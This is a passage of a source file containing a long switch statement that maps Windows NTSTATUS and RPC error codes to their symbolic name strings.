"STATUS_INVALID_IMAGE_NOT_MZ" case 0xC0000130: return "STATUS_INVALID_IMAGE_PROTECT" case 0xC0000131: return "STATUS_INVALID_IMAGE_WIN_16" case 0xC0000132: return "STATUS_LOGON_SERVER_CONFLICT" case 0xC0000133: return "STATUS_TIME_DIFFERENCE_AT_DC" case 0xC0000134: return "STATUS_SYNCHRONIZATION_REQUIRED" case 0xC0000135: return "STATUS_DLL_NOT_FOUND" case 0xC0000136: return "STATUS_OPEN_FAILED" case 0xC0000137: return "STATUS_IO_PRIVILEGE_FAILED" case 0xC0000138: return "STATUS_ORDINAL_NOT_FOUND" case 0xC0000139: return "STATUS_ENTRYPOINT_NOT_FOUND" case 0xC000013A: return "STATUS_CONTROL_C_EXIT" case 0xC000013B: return "STATUS_LOCAL_DISCONNECT" case 0xC000013C: return "STATUS_REMOTE_DISCONNECT" case 0xC000013D: return "STATUS_REMOTE_RESOURCES" case 0xC000013E: return "STATUS_LINK_FAILED" case 0xC000013F: return "STATUS_LINK_TIMEOUT" case 0xC0000140: return "STATUS_INVALID_CONNECTION" case 0xC0000141: return "STATUS_INVALID_ADDRESS" case 0xC0000142: return "STATUS_DLL_INIT_FAILED" case 0xC0000143: return "STATUS_MISSING_SYSTEMFILE" case 0xC0000144: return "STATUS_UNHANDLED_EXCEPTION" case 0xC0000145: return "STATUS_APP_INIT_FAILURE" case 0xC0000146: return "STATUS_PAGEFILE_CREATE_FAILED" case 0xC0000147: return "STATUS_NO_PAGEFILE" case 0xC0000148: return "STATUS_INVALID_LEVEL" case 0xC0000149: return "STATUS_WRONG_PASSWORD_CORE" case 0xC000014A: return "STATUS_ILLEGAL_FLOAT_CONTEXT" case 0xC000014B: return "STATUS_PIPE_BROKEN" case 0xC000014C: return "STATUS_REGISTRY_CORRUPT" case 0xC000014D: return "STATUS_REGISTRY_IO_FAILED" case 0xC000014E: return "STATUS_NO_EVENT_PAIR" case 0xC000014F: return "STATUS_UNRECOGNIZED_VOLUME" case 0xC0000150: return "STATUS_SERIAL_NO_DEVICE_INITED" case 0xC0000151: return "STATUS_NO_SUCH_ALIAS" case 0xC0000152: return "STATUS_MEMBER_NOT_IN_ALIAS" case 0xC0000153: return "STATUS_MEMBER_IN_ALIAS" case 0xC0000154: return "STATUS_ALIAS_EXISTS" case 0xC0000155: return "STATUS_LOGON_NOT_GRANTED" case 0xC0000156: return "STATUS_TOO_MANY_SECRETS" case 0xC0000157: return "STATUS_SECRET_TOO_LONG" case 0xC0000158: return "STATUS_INTERNAL_DB_ERROR" case 0xC0000159: return "STATUS_FULLSCREEN_MODE" case 0xC000015A: return "STATUS_TOO_MANY_CONTEXT_IDS" case 0xC000015B: return "STATUS_LOGON_TYPE_NOT_GRANTED" case 0xC000015C: return "STATUS_NOT_REGISTRY_FILE" case 0xC000015D: return "STATUS_NT_CROSS_ENCRYPTION_REQUIRED" case 0xC000015E: return "STATUS_DOMAIN_CTRLR_CONFIG_ERROR" case 0xC000015F: return "STATUS_FT_MISSING_MEMBER" case 0xC0000160: return "STATUS_ILL_FORMED_SERVICE_ENTRY" case 0xC0000161: return "STATUS_ILLEGAL_CHARACTER" case 0xC0000162: return "STATUS_UNMAPPABLE_CHARACTER" case 0xC0000163: return "STATUS_UNDEFINED_CHARACTER" case 0xC0000164: return "STATUS_FLOPPY_VOLUME" case 0xC0000165: return "STATUS_FLOPPY_ID_MARK_NOT_FOUND" case 0xC0000166: return "STATUS_FLOPPY_WRONG_CYLINDER" case 0xC0000167: return "STATUS_FLOPPY_UNKNOWN_ERROR" case 0xC0000168: return "STATUS_FLOPPY_BAD_REGISTERS" case 0xC0000169: return "STATUS_DISK_RECALIBRATE_FAILED" case 0xC000016A: return "STATUS_DISK_OPERATION_FAILED" case 0xC000016B: return "STATUS_DISK_RESET_FAILED" case 0xC000016C: return "STATUS_SHARED_IRQ_BUSY" case 0xC000016D: return "STATUS_FT_ORPHANING" case 0xC000016E: return "STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT" case 0xC0000172: return "STATUS_PARTITION_FAILURE" case 0xC0000173: return "STATUS_INVALID_BLOCK_LENGTH" case 0xC0000174: return "STATUS_DEVICE_NOT_PARTITIONED" case 0xC0000175: return "STATUS_UNABLE_TO_LOCK_MEDIA" case 0xC0000176: return "STATUS_UNABLE_TO_UNLOAD_MEDIA" case 0xC0000177: return "STATUS_EOM_OVERFLOW" case 0xC0000178: return "STATUS_NO_MEDIA" case 0xC000017A: return "STATUS_NO_SUCH_MEMBER" case 0xC000017B: return "STATUS_INVALID_MEMBER" case 0xC000017C: return "STATUS_KEY_DELETED" case 0xC000017D: return "STATUS_NO_LOG_SPACE" case 0xC000017E: return "STATUS_TOO_MANY_SIDS" case 0xC000017F: return "STATUS_LM_CROSS_ENCRYPTION_REQUIRED" case 0xC0000180: return "STATUS_KEY_HAS_CHILDREN" case 0xC0000181: return "STATUS_CHILD_MUST_BE_VOLATILE" case 0xC0000182: return "STATUS_DEVICE_CONFIGURATION_ERROR" case 0xC0000183: return "STATUS_DRIVER_INTERNAL_ERROR" case 0xC0000184: return "STATUS_INVALID_DEVICE_STATE" case 0xC0000185: return "STATUS_IO_DEVICE_ERROR" case 0xC0000186: return "STATUS_DEVICE_PROTOCOL_ERROR" case 0xC0000187: return "STATUS_BACKUP_CONTROLLER" case 0xC0000188: return "STATUS_LOG_FILE_FULL" case 0xC0000189: return "STATUS_TOO_LATE" case 0xC000018A: return "STATUS_NO_TRUST_LSA_SECRET" case 0xC000018B: return "STATUS_NO_TRUST_SAM_ACCOUNT" case 0xC000018C: return "STATUS_TRUSTED_DOMAIN_FAILURE" case 0xC000018D: return "STATUS_TRUSTED_RELATIONSHIP_FAILURE" case 0xC000018E: return "STATUS_EVENTLOG_FILE_CORRUPT" case 0xC000018F: return "STATUS_EVENTLOG_CANT_START" case 0xC0000190: return "STATUS_TRUST_FAILURE" case 0xC0000191: return "STATUS_MUTANT_LIMIT_EXCEEDED" case 0xC0000192: return "STATUS_NETLOGON_NOT_STARTED" case 0xC0000193: return "STATUS_ACCOUNT_EXPIRED" case 0xC0000194: return "STATUS_POSSIBLE_DEADLOCK" case 0xC0000195: return "STATUS_NETWORK_CREDENTIAL_CONFLICT" case 0xC0000196: return "STATUS_REMOTE_SESSION_LIMIT" case 0xC0000197: return "STATUS_EVENTLOG_FILE_CHANGED" case 0xC0000198: return "STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT" case 0xC0000199: return "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" case 0xC000019A: return "STATUS_NOLOGON_SERVER_TRUST_ACCOUNT" case 0xC000019B: return "STATUS_DOMAIN_TRUST_INCONSISTENT" case 0xC000019C: return "STATUS_FS_DRIVER_REQUIRED" case 0xC0000202: return "STATUS_NO_USER_SESSION_KEY" case 0xC0000203: return "STATUS_USER_SESSION_DELETED" case 0xC0000204: return "STATUS_RESOURCE_LANG_NOT_FOUND" case 0xC0000205: return "STATUS_INSUFF_SERVER_RESOURCES" case 0xC0000206: return "STATUS_INVALID_BUFFER_SIZE" case 0xC0000207: return "STATUS_INVALID_ADDRESS_COMPONENT" case 0xC0000208: return "STATUS_INVALID_ADDRESS_WILDCARD" case 0xC0000209: return "STATUS_TOO_MANY_ADDRESSES" case 0xC000020A: return "STATUS_ADDRESS_ALREADY_EXISTS" case 0xC000020B: return "STATUS_ADDRESS_CLOSED" case 0xC000020C: return "STATUS_CONNECTION_DISCONNECTED" case 0xC000020D: return "STATUS_CONNECTION_RESET" case 0xC000020E: return "STATUS_TOO_MANY_NODES" case 0xC000020F: return "STATUS_TRANSACTION_ABORTED" case 0xC0000210: return "STATUS_TRANSACTION_TIMED_OUT" case 0xC0000211: return "STATUS_TRANSACTION_NO_RELEASE" case 0xC0000212: return "STATUS_TRANSACTION_NO_MATCH" case 0xC0000213: return "STATUS_TRANSACTION_RESPONDED" case 0xC0000214: return "STATUS_TRANSACTION_INVALID_ID" case 0xC0000215: return "STATUS_TRANSACTION_INVALID_TYPE" case 0xC0000216: return "STATUS_NOT_SERVER_SESSION" case 0xC0000217: return "STATUS_NOT_CLIENT_SESSION" case 0xC0000218: return "STATUS_CANNOT_LOAD_REGISTRY_FILE" case 0xC0000219: return "STATUS_DEBUG_ATTACH_FAILED" case 0xC000021A: return "STATUS_SYSTEM_PROCESS_TERMINATED" case 0xC000021B: return "STATUS_DATA_NOT_ACCEPTED" case 0xC000021C: return "STATUS_NO_BROWSER_SERVERS_FOUND" case 0xC000021D: return "STATUS_VDM_HARD_ERROR" case 0xC000021E: return "STATUS_DRIVER_CANCEL_TIMEOUT" case 0xC000021F: return "STATUS_REPLY_MESSAGE_MISMATCH" case 0xC0000220: return "STATUS_MAPPED_ALIGNMENT" case 0xC0000221: return "STATUS_IMAGE_CHECKSUM_MISMATCH" case 0xC0000222: return "STATUS_LOST_WRITEBEHIND_DATA" case 0xC0000223: return "STATUS_CLIENT_SERVER_PARAMETERS_INVALID" case 0xC0000224: return "STATUS_PASSWORD_MUST_CHANGE" case 0xC0000225: return "STATUS_NOT_FOUND" case 0xC0000226: return "STATUS_NOT_TINY_STREAM" case 0xC0000227: return "STATUS_RECOVERY_FAILURE" case 0xC0000228: return "STATUS_STACK_OVERFLOW_READ" case 0xC0000229: return "STATUS_FAIL_CHECK" case 0xC000022A: return "STATUS_DUPLICATE_OBJECTID" case 0xC000022B: return "STATUS_OBJECTID_EXISTS" case 0xC000022C: return "STATUS_CONVERT_TO_LARGE" case 0xC000022D: return "STATUS_RETRY" case 0xC000022E: return "STATUS_FOUND_OUT_OF_SCOPE" case 0xC000022F: return "STATUS_ALLOCATE_BUCKET" case 0xC0000230: return "STATUS_PROPSET_NOT_FOUND" case 0xC0000231: return "STATUS_MARSHALL_OVERFLOW" case 0xC0000232: return "STATUS_INVALID_VARIANT" case 0xC0000233: return "STATUS_DOMAIN_CONTROLLER_NOT_FOUND" case 0xC0000234: return "STATUS_ACCOUNT_LOCKED_OUT" case 0xC0000235: return "STATUS_HANDLE_NOT_CLOSABLE" case 0xC0000236: return "STATUS_CONNECTION_REFUSED" case 0xC0000237: return "STATUS_GRACEFUL_DISCONNECT" case 0xC0000238: return "STATUS_ADDRESS_ALREADY_ASSOCIATED" case 0xC0000239: return "STATUS_ADDRESS_NOT_ASSOCIATED" case 0xC000023A: return "STATUS_CONNECTION_INVALID" case 0xC000023B: return "STATUS_CONNECTION_ACTIVE" case 0xC000023C: return "STATUS_NETWORK_UNREACHABLE" case 0xC000023D: return "STATUS_HOST_UNREACHABLE" case 0xC000023E: return "STATUS_PROTOCOL_UNREACHABLE" case 0xC000023F: return "STATUS_PORT_UNREACHABLE" case 0xC0000240: return "STATUS_REQUEST_ABORTED" case 0xC0000241: return "STATUS_CONNECTION_ABORTED" case 0xC0000242: return "STATUS_BAD_COMPRESSION_BUFFER" case 0xC0000243: return "STATUS_USER_MAPPED_FILE" case 0xC0000244: return "STATUS_AUDIT_FAILED" case 0xC0000245: return "STATUS_TIMER_RESOLUTION_NOT_SET" case 0xC0000246: return "STATUS_CONNECTION_COUNT_LIMIT" case 0xC0000247: return "STATUS_LOGIN_TIME_RESTRICTION" case 0xC0000248: return "STATUS_LOGIN_WKSTA_RESTRICTION" case 0xC0000249: return "STATUS_IMAGE_MP_UP_MISMATCH" case 0xC0000250: return "STATUS_INSUFFICIENT_LOGON_INFO" case 0xC0000251: return "STATUS_BAD_DLL_ENTRYPOINT" case 0xC0000252: return "STATUS_BAD_SERVICE_ENTRYPOINT" case 0xC0000253: return "STATUS_LPC_REPLY_LOST" case 0xC0000254: return "STATUS_IP_ADDRESS_CONFLICT1" case 0xC0000255: return "STATUS_IP_ADDRESS_CONFLICT2" case 0xC0000256: return "STATUS_REGISTRY_QUOTA_LIMIT" case 0xC0000257: return "STATUS_PATH_NOT_COVERED" case 0xC0000258: return "STATUS_NO_CALLBACK_ACTIVE" case 0xC0000259: return "STATUS_LICENSE_QUOTA_EXCEEDED" case 0xC000025A: return "STATUS_PWD_TOO_SHORT" case 0xC000025B: return "STATUS_PWD_TOO_RECENT" case 0xC000025C: return "STATUS_PWD_HISTORY_CONFLICT" case 0xC000025E: return "STATUS_PLUGPLAY_NO_DEVICE" case 0xC000025F: return "STATUS_UNSUPPORTED_COMPRESSION" case 0xC0000260: return "STATUS_INVALID_HW_PROFILE" case 0xC0000261: return "STATUS_INVALID_PLUGPLAY_DEVICE_PATH" case 0xC0000262: return "STATUS_DRIVER_ORDINAL_NOT_FOUND" case 0xC0000263: return "STATUS_DRIVER_ENTRYPOINT_NOT_FOUND" case 0xC0000264: return "STATUS_RESOURCE_NOT_OWNED" case 0xC0000265: return "STATUS_TOO_MANY_LINKS" case 0xC0000266: return "STATUS_QUOTA_LIST_INCONSISTENT" case 0xC0000267: return "STATUS_FILE_IS_OFFLINE" case 0xC0000268: return "STATUS_EVALUATION_EXPIRATION" case 0xC0000269: return "STATUS_ILLEGAL_DLL_RELOCATION" case 0xC000026A: return "STATUS_LICENSE_VIOLATION" case 0xC000026B: return "STATUS_DLL_INIT_FAILED_LOGOFF" case 0xC000026C: return "STATUS_DRIVER_UNABLE_TO_LOAD" case 0xC000026D: return "STATUS_DFS_UNAVAILABLE" case 0xC000026E: return "STATUS_VOLUME_DISMOUNTED" case 0xC000026F: return "STATUS_WX86_INTERNAL_ERROR" case 0xC0000270: return "STATUS_WX86_FLOAT_STACK_CHECK" case 0xC0000271: return "STATUS_VALIDATE_CONTINUE" case 0xC0000272: return "STATUS_NO_MATCH" case 0xC0000273: return "STATUS_NO_MORE_MATCHES" case 0xC0000275: return "STATUS_NOT_A_REPARSE_POINT" case 0xC0000276: return "STATUS_IO_REPARSE_TAG_INVALID" case 0xC0000277: return "STATUS_IO_REPARSE_TAG_MISMATCH" case 0xC0000278: return "STATUS_IO_REPARSE_DATA_INVALID" case 0xC0000279: return "STATUS_IO_REPARSE_TAG_NOT_HANDLED" case 0xC0000280: return "STATUS_REPARSE_POINT_NOT_RESOLVED" case 0xC0000281: return "STATUS_DIRECTORY_IS_A_REPARSE_POINT" case 0xC0000282: return "STATUS_RANGE_LIST_CONFLICT" case 0xC0000283: return "STATUS_SOURCE_ELEMENT_EMPTY" case 0xC0000284: return "STATUS_DESTINATION_ELEMENT_FULL" case 0xC0000285: return "STATUS_ILLEGAL_ELEMENT_ADDRESS" case 0xC0000286: return "STATUS_MAGAZINE_NOT_PRESENT" case 0xC0000287: return "STATUS_REINITIALIZATION_NEEDED" case 0x80000288: return "STATUS_DEVICE_REQUIRES_CLEANING" case 0x80000289: return "STATUS_DEVICE_DOOR_OPEN" case 0xC000028A: return "STATUS_ENCRYPTION_FAILED" case 0xC000028B: return "STATUS_DECRYPTION_FAILED" case 0xC000028C: return "STATUS_RANGE_NOT_FOUND" case 0xC000028D: return "STATUS_NO_RECOVERY_POLICY" case 0xC000028E: return "STATUS_NO_EFS" case 0xC000028F: return "STATUS_WRONG_EFS" case 0xC0000290: return "STATUS_NO_USER_KEYS" case 0xC0000291: return "STATUS_FILE_NOT_ENCRYPTED" case 0xC0000292: return "STATUS_NOT_EXPORT_FORMAT" case 0xC0000293: return "STATUS_FILE_ENCRYPTED" case 0x40000294: return "STATUS_WAKE_SYSTEM" case 0xC0000295: return "STATUS_WMI_GUID_NOT_FOUND" case 0xC0000296: return "STATUS_WMI_INSTANCE_NOT_FOUND" case 0xC0000297: return "STATUS_WMI_ITEMID_NOT_FOUND" case 0xC0000298: return "STATUS_WMI_TRY_AGAIN" case 0xC0000299: return "STATUS_SHARED_POLICY" case 0xC000029A: return "STATUS_POLICY_OBJECT_NOT_FOUND" case 0xC000029B: return "STATUS_POLICY_ONLY_IN_DS" case 0xC000029C: return "STATUS_VOLUME_NOT_UPGRADED" case 0xC000029D: return "STATUS_REMOTE_STORAGE_NOT_ACTIVE" case 0xC000029E: return "STATUS_REMOTE_STORAGE_MEDIA_ERROR" case 0xC000029F: return "STATUS_NO_TRACKING_SERVICE" case 0xC00002A0: return "STATUS_SERVER_SID_MISMATCH" case 0xC00002A1: return "STATUS_DS_NO_ATTRIBUTE_OR_VALUE" case 0xC00002A2: return "STATUS_DS_INVALID_ATTRIBUTE_SYNTAX" case 0xC00002A3: return "STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED" case 0xC00002A4: return "STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS" case 0xC00002A5: return "STATUS_DS_BUSY" case 0xC00002A6: return "STATUS_DS_UNAVAILABLE" case 0xC00002A7: return "STATUS_DS_NO_RIDS_ALLOCATED" case 0xC00002A8: return "STATUS_DS_NO_MORE_RIDS" case 0xC00002A9: return "STATUS_DS_INCORRECT_ROLE_OWNER" case 0xC00002AA: return "STATUS_DS_RIDMGR_INIT_ERROR" case 0xC00002AB: return "STATUS_DS_OBJ_CLASS_VIOLATION" case 0xC00002AC: return "STATUS_DS_CANT_ON_NON_LEAF" case 0xC00002AD: return "STATUS_DS_CANT_ON_RDN" case 0xC00002AE: return "STATUS_DS_CANT_MOD_OBJ_CLASS" case 0xC00002AF: return "STATUS_DS_CROSS_DOM_MOVE_FAILED" case 0xC00002B0: return "STATUS_DS_GC_NOT_AVAILABLE" case 0xC00002B1: return "STATUS_DIRECTORY_SERVICE_REQUIRED" case 0xC00002B2: return "STATUS_REPARSE_ATTRIBUTE_CONFLICT" case 0xC00002B3: return "STATUS_CANT_ENABLE_DENY_ONLY" case 0xC00002B4: return "STATUS_FLOAT_MULTIPLE_FAULTS" case 0xC00002B5: return "STATUS_FLOAT_MULTIPLE_TRAPS" case 0xC00002B6: return "STATUS_DEVICE_REMOVED" case 0xC00002B7: return "STATUS_JOURNAL_DELETE_IN_PROGRESS" case 0xC00002B8: return "STATUS_JOURNAL_NOT_ACTIVE" case 0xC00002B9: return "STATUS_NOINTERFACE" case 0xC00002C1: return "STATUS_DS_ADMIN_LIMIT_EXCEEDED" case 0xC00002C2: return "STATUS_DRIVER_FAILED_SLEEP" case 0xC00002C3: return "STATUS_MUTUAL_AUTHENTICATION_FAILED" case 0xC00002C4: return "STATUS_CORRUPT_SYSTEM_FILE" case 0xC00002C5: return "STATUS_DATATYPE_MISALIGNMENT_ERROR" case 0xC00002C6: return "STATUS_WMI_READ_ONLY" case 0xC00002C7: return "STATUS_WMI_SET_FAILURE" case 0xC00002C8: return "STATUS_COMMITMENT_MINIMUM" case 0xC00002C9: return "STATUS_REG_NAT_CONSUMPTION" case 0xC00002CA: return "STATUS_TRANSPORT_FULL" case 0xC00002CB: return "STATUS_DS_SAM_INIT_FAILURE" case 0xC00002CC: return "STATUS_ONLY_IF_CONNECTED" case 0xC00002CD: return "STATUS_DS_SENSITIVE_GROUP_VIOLATION" case 0xC00002CE: return "STATUS_PNP_RESTART_ENUMERATION" case 0xC00002CF: return "STATUS_JOURNAL_ENTRY_DELETED" case 0xC00002D0: return "STATUS_DS_CANT_MOD_PRIMARYGROUPID" case 0xC00002D1: return "STATUS_SYSTEM_IMAGE_BAD_SIGNATURE" case 0xC00002D2: return "STATUS_PNP_REBOOT_REQUIRED" case 0xC00002D3: return "STATUS_POWER_STATE_INVALID" case 0xC00002D4: return "STATUS_DS_INVALID_GROUP_TYPE" case 0xC00002D5: return "STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN" case 0xC00002D6: return "STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN" case 0xC00002D7: return "STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER" case 0xC00002D8: return "STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER" case 0xC00002D9: return "STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER" case 0xC00002DA: return "STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER" case 0xC00002DB: return "STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER" case 0xC00002DC: return "STATUS_DS_HAVE_PRIMARY_MEMBERS" case 0xC00002DD: return "STATUS_WMI_NOT_SUPPORTED" case 0xC00002DE: return "STATUS_INSUFFICIENT_POWER" case 0xC00002DF: return "STATUS_SAM_NEED_BOOTKEY_PASSWORD" case 0xC00002E0: return "STATUS_SAM_NEED_BOOTKEY_FLOPPY" case 0xC00002E1: return "STATUS_DS_CANT_START" case 0xC00002E2: return "STATUS_DS_INIT_FAILURE" case 0xC00002E3: return "STATUS_SAM_INIT_FAILURE" case 0xC00002E4: return "STATUS_DS_GC_REQUIRED" case 0xC00002E5: return "STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY" case 0xC00002E6: return "STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS" case 0xC00002E7: return "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" case 0xC00002E8: return "STATUS_MULTIPLE_FAULT_VIOLATION" case 0xC0000300: return "STATUS_NOT_SUPPORTED_ON_SBS" case 0xC0009898: return "STATUS_WOW_ASSERTION" case 0xC0010001: return "DBG_NO_STATE_CHANGE" case 0xC0010002: return "DBG_APP_NOT_IDLE" case 0xC0020001: return "RPC_NT_INVALID_STRING_BINDING" case 0xC0020002: return "RPC_NT_WRONG_KIND_OF_BINDING" case 0xC0020003: return "RPC_NT_INVALID_BINDING" case 0xC0020004: return "RPC_NT_PROTSEQ_NOT_SUPPORTED" case 0xC0020005: return "RPC_NT_INVALID_RPC_PROTSEQ" case 0xC0020006: return "RPC_NT_INVALID_STRING_UUID" case 0xC0020007: return "RPC_NT_INVALID_ENDPOINT_FORMAT" case 0xC0020008: return "RPC_NT_INVALID_NET_ADDR" case 0xC0020009: return "RPC_NT_NO_ENDPOINT_FOUND" case 0xC002000A: return "RPC_NT_INVALID_TIMEOUT" case 0xC002000B: return "RPC_NT_OBJECT_NOT_FOUND" case 0xC002000C: return "RPC_NT_ALREADY_REGISTERED" case 0xC002000D: return "RPC_NT_TYPE_ALREADY_REGISTERED" case 0xC002000E: return "RPC_NT_ALREADY_LISTENING" case 0xC002000F: return "RPC_NT_NO_PROTSEQS_REGISTERED" case 0xC0020010: return "RPC_NT_NOT_LISTENING" case 0xC0020011: return "RPC_NT_UNKNOWN_MGR_TYPE" case 0xC0020012: return "RPC_NT_UNKNOWN_IF" case 0xC0020013: return "RPC_NT_NO_BINDINGS" case 0xC0020014: return "RPC_NT_NO_PROTSEQS" case 0xC0020015: return "RPC_NT_CANT_CREATE_ENDPOINT" case 0xC0020016: return "RPC_NT_OUT_OF_RESOURCES" case 0xC0020017: return "RPC_NT_SERVER_UNAVAILABLE" case 0xC0020018: return "RPC_NT_SERVER_TOO_BUSY" case 0xC0020019: return "RPC_NT_INVALID_NETWORK_OPTIONS" case 0xC002001A: return "RPC_NT_NO_CALL_ACTIVE" case 0xC002001B: return "RPC_NT_CALL_FAILED" case 0xC002001C: return "RPC_NT_CALL_FAILED_DNE" case 0xC002001D: return "RPC_NT_PROTOCOL_ERROR" case 0xC002001F: return "RPC_NT_UNSUPPORTED_TRANS_SYN" case 0xC0020021: return "RPC_NT_UNSUPPORTED_TYPE" case 0xC0020022: return "RPC_NT_INVALID_TAG" case 0xC0020023: return "RPC_NT_INVALID_BOUND" case 0xC0020024: return "RPC_NT_NO_ENTRY_NAME" case 0xC0020025: return "RPC_NT_INVALID_NAME_SYNTAX" case 0xC0020026: return "RPC_NT_UNSUPPORTED_NAME_SYNTAX" case 0xC0020028: return "RPC_NT_UUID_NO_ADDRESS" case 0xC0020029: return "RPC_NT_DUPLICATE_ENDPOINT" case 0xC002002A: return "RPC_NT_UNKNOWN_AUTHN_TYPE" case 0xC002002B: return "RPC_NT_MAX_CALLS_TOO_SMALL" case 0xC002002C: return "RPC_NT_STRING_TOO_LONG" case 0xC002002D: return "RPC_NT_PROTSEQ_NOT_FOUND" case 0xC002002E: return "RPC_NT_PROCNUM_OUT_OF_RANGE" case 0xC002002F: return "RPC_NT_BINDING_HAS_NO_AUTH" case 0xC0020030: return "RPC_NT_UNKNOWN_AUTHN_SERVICE" case 0xC0020031: return "RPC_NT_UNKNOWN_AUTHN_LEVEL" case 0xC0020032: return "RPC_NT_INVALID_AUTH_IDENTITY" case 0xC0020033: return "RPC_NT_UNKNOWN_AUTHZ_SERVICE" case 0xC0020034: return "EPT_NT_INVALID_ENTRY" case 0xC0020035: return "EPT_NT_CANT_PERFORM_OP" case 0xC0020036: return "EPT_NT_NOT_REGISTERED" case 0xC0020037: return "RPC_NT_NOTHING_TO_EXPORT" case 0xC0020038: return "RPC_NT_INCOMPLETE_NAME" case 0xC0020039: return "RPC_NT_INVALID_VERS_OPTION" case 0xC002003A: return "RPC_NT_NO_MORE_MEMBERS" case 0xC002003B: return "RPC_NT_NOT_ALL_OBJS_UNEXPORTED" case 0xC002003C: return "RPC_NT_INTERFACE_NOT_FOUND" case 0xC002003D: return "RPC_NT_ENTRY_ALREADY_EXISTS" case 0xC002003E: return "RPC_NT_ENTRY_NOT_FOUND" case 0xC002003F: return "RPC_NT_NAME_SERVICE_UNAVAILABLE" case 0xC0020040: return "RPC_NT_INVALID_NAF_ID" case 0xC0020041: return "RPC_NT_CANNOT_SUPPORT" case 0xC0020042: return "RPC_NT_NO_CONTEXT_AVAILABLE" case 0xC0020043: return "RPC_NT_INTERNAL_ERROR" case 0xC0020044: return "RPC_NT_ZERO_DIVIDE" case 0xC0020045: return "RPC_NT_ADDRESS_ERROR" case 0xC0020046: return "RPC_NT_FP_DIV_ZERO" case 0xC0020047: return "RPC_NT_FP_UNDERFLOW" case 0xC0020048: return "RPC_NT_FP_OVERFLOW" case 0xC0030001: return "RPC_NT_NO_MORE_ENTRIES" case 0xC0030002: return "RPC_NT_SS_CHAR_TRANS_OPEN_FAIL" case 0xC0030003: return "RPC_NT_SS_CHAR_TRANS_SHORT_FILE" case 0xC0030004: return "RPC_NT_SS_IN_NULL_CONTEXT" case 0xC0030005: return "RPC_NT_SS_CONTEXT_MISMATCH" case 0xC0030006: return "RPC_NT_SS_CONTEXT_DAMAGED" case 0xC0030007: return "RPC_NT_SS_HANDLES_MISMATCH" case 0xC0030008: return "RPC_NT_SS_CANNOT_GET_CALL_HANDLE" case 0xC0030009: return "RPC_NT_NULL_REF_POINTER" case 0xC003000A: return "RPC_NT_ENUM_VALUE_OUT_OF_RANGE" case 0xC003000B: return "RPC_NT_BYTE_COUNT_TOO_SMALL" case 0xC003000C: return "RPC_NT_BAD_STUB_DATA" case 0xC0020049: return "RPC_NT_CALL_IN_PROGRESS" case 0xC002004A: return "RPC_NT_NO_MORE_BINDINGS" case 0xC002004B: return "RPC_NT_GROUP_MEMBER_NOT_FOUND" case 0xC002004C: return "EPT_NT_CANT_CREATE" case 0xC002004D: return "RPC_NT_INVALID_OBJECT" case 0xC002004F: return "RPC_NT_NO_INTERFACES" case 0xC0020050: return "RPC_NT_CALL_CANCELLED" case 0xC0020051: return "RPC_NT_BINDING_INCOMPLETE" case 0xC0020052: return "RPC_NT_COMM_FAILURE" case 0xC0020053: return "RPC_NT_UNSUPPORTED_AUTHN_LEVEL" case 0xC0020054: return "RPC_NT_NO_PRINC_NAME" case 0xC0020055: return "RPC_NT_NOT_RPC_ERROR" case 0x40020056: return "RPC_NT_UUID_LOCAL_ONLY" case 0xC0020057: return "RPC_NT_SEC_PKG_ERROR" case 0xC0020058: return "RPC_NT_NOT_CANCELLED" case 0xC0030059: return "RPC_NT_INVALID_ES_ACTION" case 0xC003005A: return "RPC_NT_WRONG_ES_VERSION" case 0xC003005B: return "RPC_NT_WRONG_STUB_VERSION" case 0xC003005C: return "RPC_NT_INVALID_PIPE_OBJECT" case 0xC003005D: return "RPC_NT_INVALID_PIPE_OPERATION" case 0xC003005E: return "RPC_NT_WRONG_PIPE_VERSION" case 0xC003005F: return "RPC_NT_PIPE_CLOSED" case 0xC0030060: return "RPC_NT_PIPE_DISCIPLINE_ERROR" case 0xC0030061: return "RPC_NT_PIPE_EMPTY" case 0xC0020062: return "RPC_NT_INVALID_ASYNC_HANDLE" case 0xC0020063: return "RPC_NT_INVALID_ASYNC_CALL" case 0x400200AF: return "RPC_NT_SEND_INCOMPLETE" case 0xC0140001: return "STATUS_ACPI_INVALID_OPCODE" case 0xC0140002: return "STATUS_ACPI_STACK_OVERFLOW" case 0xC0140003: return "STATUS_ACPI_ASSERT_FAILED" case 0xC0140004: return "STATUS_ACPI_INVALID_INDEX" case 0xC0140005: return "STATUS_ACPI_INVALID_ARGUMENT" case 0xC0140006: return "STATUS_ACPI_FATAL" case 0xC0140007: return "STATUS_ACPI_INVALID_SUPERNAME" case 0xC0140008: return "STATUS_ACPI_INVALID_ARGTYPE" case 0xC0140009: return "STATUS_ACPI_INVALID_OBJTYPE" case 0xC014000A: return "STATUS_ACPI_INVALID_TARGETTYPE" case 0xC014000B: return "STATUS_ACPI_INCORRECT_ARGUMENT_COUNT" case 0xC014000C: return "STATUS_ACPI_ADDRESS_NOT_MAPPED" case 0xC014000D: return "STATUS_ACPI_INVALID_EVENTTYPE" case 0xC014000E: return "STATUS_ACPI_HANDLER_COLLISION" case 0xC014000F: return "STATUS_ACPI_INVALID_DATA" case 0xC0140010: return "STATUS_ACPI_INVALID_REGION" case 0xC0140011: return "STATUS_ACPI_INVALID_ACCESS_SIZE" case 0xC0140012: return "STATUS_ACPI_ACQUIRE_GLOBAL_LOCK" case 0xC0140013: return "STATUS_ACPI_ALREADY_INITIALIZED" case 0xC0140014: return "STATUS_ACPI_NOT_INITIALIZED" case 0xC0140015: return "STATUS_ACPI_INVALID_MUTEX_LEVEL" case 0xC0140016: return "STATUS_ACPI_MUTEX_NOT_OWNED" case 0xC0140017: return "STATUS_ACPI_MUTEX_NOT_OWNER" case 0xC0140018: return 